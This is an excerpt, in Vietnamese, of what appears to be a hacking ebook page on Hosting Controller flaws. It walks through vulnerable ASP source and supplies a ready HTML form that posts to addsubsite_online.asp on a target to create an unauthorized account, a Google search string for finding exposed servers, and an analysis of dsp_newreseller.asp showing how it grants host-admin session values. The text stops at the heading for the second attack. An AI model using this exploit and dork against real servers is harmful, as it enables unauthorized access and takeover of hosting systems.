Tải bản đầy đủ (.pdf) (6 trang)

Hacker Professional Ebook part 306 doc

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (77.34 KB, 6 trang )

phone = T(Request.Form("phone"))
zip = T(Request.Form("zip"))


> Khai báo các biến và gán cho nó các giá trị quan trọng được người dùng gởi
tới từ client -> như "loginname" và "password" v v

QUOTE
'sub function to create the new User Account
Result = InternalAddUser(UserName,Domain,Password,UserName,
UserName,"FALSE","FALSE",NAdminLevel,existingemail )

if (Result >= 1 and Result < 9) then
session.Abandon()
end if

Response.Write "Result of user creation is : " & Result & "<br>"
'Response.End



& #39;==============================================
==============================
======
'Create User function
public function addUser(UserName,Password,QuotaLimit)
on error resume next

'
'initallization
newadminlevel = "webadmin"


Description = "Web admin"
set rs = Server.CreateObject("ADODB.RecordSet")
set adm = Server.CreateObject("AdvAdmin.AccountAdmin")
autosetupreseller = adm.GetStrAdvReg("General","autosetupreseller")
set adm = nothing
AdminName = autosetupreseller
m_UserName = UserName
m_Password = Password
'check the existance of the reseller account
'Result = CheckReseller()
WebQuota = 0
MailQuota = 0
FtpQuota = QuotaLimit
ODBCQuota = QuotaLimit
VDirQuota = QuotaLimit
ServuQuota = 0
StatsQuota = 0
Session("AdminName") = autosetupreseller
Result = InternalAddUser(m_UserName,Domain,m_Password,m_Use
rName,m_UserName,"FALSE","TRUE",newadminlevel)
addUser = Result
end function


> Tạo user với các giá trị biến ! (source của file này còn nhiều , nhưng chúng ta
chỉ cần xem tới đây là đủ ! hi hi)

-> heee -> tới đây chắc các bạn cũng đã hiểu file này có khả năng làm được gì rùi
chứ ! -> Ta có thể tạo được một User mới nhờ file này !


3) Tấn công :

- Bây giờ làm cách nào để ta tạo ra môt Account trên HC đây ! -> rất đơn giản ! ->
chúng ta chỉ cần tạo một file "AddUser.html" có nội dung như sau :

CODE
<FORM action="http://[target]/admin/hosting/addsubsite_online.asp"
method="post">
<INPUT type="hidden" name="domaintypecheck" value="SECOND"
id="Hidden1">
Domain: <INPUT name="DomainName" value="hcegroup.net"
id="Hidden2"><BR>
Username: <INPUT name="loginname" value="kehieuhoc" id="Hidden3"><BR>
<INPUT type="hidden" name="Quota" value="-1" id="Hidden4">
<INPUT type="hidden" name="htype" value="27" id="htype5" >
<INPUT type="hidden" name="choice" value="1" id="Hidden6" >
Password: <INPUT name="password" value="kehieuhoc"
id="Hidden7"><BR><BR>
<input type="submit" value="Make">
</FORM>


Lưu file này lại trên PC của ta và run nó ! -> nhập các thông tin username ,
password -> make -> chuyện gì đã xãy ra ! -> Một Account mới đã được tạo trên
HC theo ý muốn của mình !

(Search trên Google.com với từ khóa chẳng hạn như: "powered by Hosting
Controller" để tìm các Server sử dụng HC)

Hết phần I


// KeHieuHoc - HCE Group \\

Chào các bạn !

Hosting Controller thật là tiện dụng nhưng cũng thật là nguy hiễm với những lỗi
bảo mật của nó phải không các bạn ! Và hôm nay chúng ta sẽ tiếp tục tìm hiểu về
những lổ hỏng bảo mật này !

Như các bạn đã biết , ở phần I chúng ta đã nghiên cứu và tìm ra được cách tạo một
Account trên HC với quyền "Web Admin" từ bên ngoài . Nhưng với Account này
chúng ta bị giới hạn quyền rất nhiều trên HC . Vì vậy bây giờ chúng ta hãy tìm
cách có được quyền hạn cao nhất trên HC , nhưng Account nào có được quyền hạn
đó và làm cách nào để có được nó ?

Phần II : " Login với quyền Host Admin "

I) Suy luận :

- Sau khi có được Account -> chúng ta login vào HC ,lúc này để hệ thống chấp
nhận Account được phép sử dụng tài nguyên trên HC thì HC phải cấp cho ta một
số "session" -> đây là những "session" cơ bản mà bất cứ Account nào cũng cần
phải có nó để hoat động trên HC ! -> Những "Session" này sẽ được tạo ra trong
quá trình Login !

- Những session này đã giúp cho chúng ta được phép sử dụng được một số chức
năng cơ bản !

- Account trên HC có một vài phân cấp khác nhau như : "webadmin" , "reseller" ,
"host"


-> trong đó ta đặt biệt chú về Account có quyền "host" -> bởi vì nó có quyền cao
nhất HC

- Nhưng để hệ thống HC phân biệt Account này với Account có quyền
"webadmin" thì nó phải cấp thêm một vài Session đặt biệt nữa cho Accout này !

-> Ở phần trước chúng ta đã có Account với quyền "webadmin" -> tức chúng ta có
thể tạo ra những session cơ bản .Nếu có thêm những session đặt biệt -> chúng ta có
quyền "Host Admin" !

-> Mục tiêu của chúng ta bây giờ là tìm cách tạo ra những session đăt biệt này! ->
hic , nhưng bằng nào đây ! -> rất may cho ta , trên HC xuất hiện thêm một bug
giúp chúng ta làm được việc này !

II) Phân tích bug :

- Bug này nằm ở file: "dsp_newreseller.asp" , chúng ta cùng xem source của nó !

CODE
<%
dim rs
dim autosignup
set conn = Server.CreateObject("ADODB.Connection")
set rs = Server.CreateObject("ADODB.RecordSet")
set adm = Server.CreateObject("AdvAdmin.AccountAdmin")
ConnString = adm.GetStrAdvReg("General","ConnString")
conn.Open ConnString
strQuery = "select * from Admin_List where AdminLevel='host'"
rs.Open strQuery,conn,1,3

AdminName = rs.Fields("Name")
rs.Close
AdminLevel = "host"
Session("AdminName") = AdminName
Session("AdminLevel") = AdminLevel
set AdminObj = server.createobject("AdvAdmin.AccountAdmin")
DomainName = Trim(AdminObj.GetMachineName)
set AdminObj = nothing
Session("ValidReq") = true
Session("Domain") = DomainName
Application("Connection1_connectionString") = ConnString
& #39;**********************************************
******************************
********
'*** get the properties of the host and if he is found in the cyber cash table show it
'*** it the reseller CC form other wise do not
strQuery = "select propname from cybercash where adminname='"& AdminName
&"'"
rs.Open strQuery,conn,1,3
if rs.EOF then
autosignup = 0
else
autosignup = 1
end if
rs.Close
%>


- Session("ValidReq") = true


- " strQuery = "select * from Admin_List where AdminLevel='host'" " -> lấy tất cả
data từ cái table " Admin_List " ở AdminLevel='host'"

- " AdminName = rs.Fields("Name") "

-> Vì cái Account tên "Hcadmin" có quyền "host" thường là giá trị đầu tiên của
coloum "name" nên biến AdminName = "hcadmin"

Và " Session("AdminName") = AdminName " -> Session("AdminName") =
"hcadmin"

QUOTE
AdminLevel = "host"
Session("AdminLevel") = AdminLevel


-> Session("AdminLevel") = "host" -> session đặt biệt !

III) Tấn công :

×